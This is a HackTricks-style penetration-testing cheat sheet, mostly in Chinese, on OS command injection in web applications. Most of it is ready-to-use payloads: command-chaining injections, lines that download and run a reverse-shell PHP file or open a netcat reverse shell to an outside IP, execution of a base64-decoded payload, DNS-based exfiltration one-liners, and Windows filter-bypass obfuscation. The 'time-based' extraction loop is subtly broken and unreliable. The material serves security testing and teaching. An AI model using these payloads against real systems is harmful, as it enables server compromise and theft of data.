hacktricks/pentesting-web/command-injection.md

# 命令注入

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## 什么是命令注入？

操作系统命令注入（也称为shell注入）是一种Web安全漏洞，允许攻击者在运行应用程序的服务器上执行任意操作系统（OS）命令，并通常完全破坏应用程序及其所有数据。（来自[这里](https://portswigger.net/web-security/os-command-injection)）。

### 上下文

根据**你的输入被注入的位置**，你可能需要在命令之前**终止引用的上下文**（使用`"`或`'`）。

## 命令注入/执行
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **限制绕过**

如果你想在Linux机器上执行任意命令，你会对以下绕过方法感兴趣：

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

### **示例**
```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```
### 参数

以下是可能容易受到代码注入和类似远程命令执行（RCE）漏洞攻击的前25个参数（来自[链接](https://twitter.com/trbughunters/status/1283133356922884096)）：
```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```
### 基于时间的数据泄露

逐个字符提取数据

```bash
# Extracting data: char by char
# 提取数据：逐个字符
```

In some cases, command injection vulnerabilities may allow an attacker to extract sensitive data from a target system. One technique for extracting data is to do it character by character, using time delays to determine the value of each character.

在某些情况下，命令注入漏洞可能允许攻击者从目标系统中提取敏感数据。一种提取数据的技术是逐个字符进行，使用时间延迟来确定每个字符的值。

The idea behind this technique is to inject a command that will cause a time delay if a certain condition is met. By injecting a command that iterates through all possible characters and checking the response time, an attacker can determine the value of each character in the target data.

这种技术的思想是注入一个命令，如果满足某个条件，就会导致时间延迟。通过注入一个遍历所有可能字符并检查响应时间的命令，攻击者可以确定目标数据中每个字符的值。

Here is an example of how this technique can be used to extract data character by character:

以下是使用这种技术逐个字符提取数据的示例：

```bash
# Extracting data character by character
# 逐个字符提取数据
for i in {1..20}; do
    for c in {a..z} {A..Z} {0..9} _; do
        response=$(curl -s "http://example.com/?input=$(echo -n "SELECT column FROM table WHERE condition AND SUBSTRING(data,$i,1)='$c'" | base64)")
        if [ $response_time > 2 ]; then
            echo -n $c
            break
        fi
    done
done
```

In this example, the attacker is injecting a command that iterates through all possible characters (lowercase letters, uppercase letters, numbers, and underscore) and checks the response time for each character. If the response time is greater than 2 seconds, it means that the injected character is correct and is part of the target data. The attacker then moves on to the next character.

在这个示例中，攻击者注入了一个命令，该命令遍历所有可能的字符（小写字母、大写字母、数字和下划线），并检查每个字符的响应时间。如果响应时间大于2秒，表示注入的字符是正确的，并且是目标数据的一部分。然后，攻击者继续下一个字符。

By repeating this process for each character in the target data, the attacker can gradually extract the entire data set.

通过对目标数据中的每个字符重复此过程，攻击者可以逐步提取整个数据集。
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```
### 基于DNS的数据泄露

基于`https://github.com/HoLyVieR/dnsbin`上的工具，也托管在dnsbin.zhack.ca上。
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
在线工具检查基于DNS的数据泄露：

* dnsbin.zhack.ca
* pingb.in

### 绕过过滤

#### Windows
```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```
#### Linux

{% content-ref url="../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../linux-hardening/useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}

## Brute-Force Detection List

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt" %}

## References

{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection" %}

{% embed url="https://portswigger.net/web-security/os-command-injection" %}

<details>

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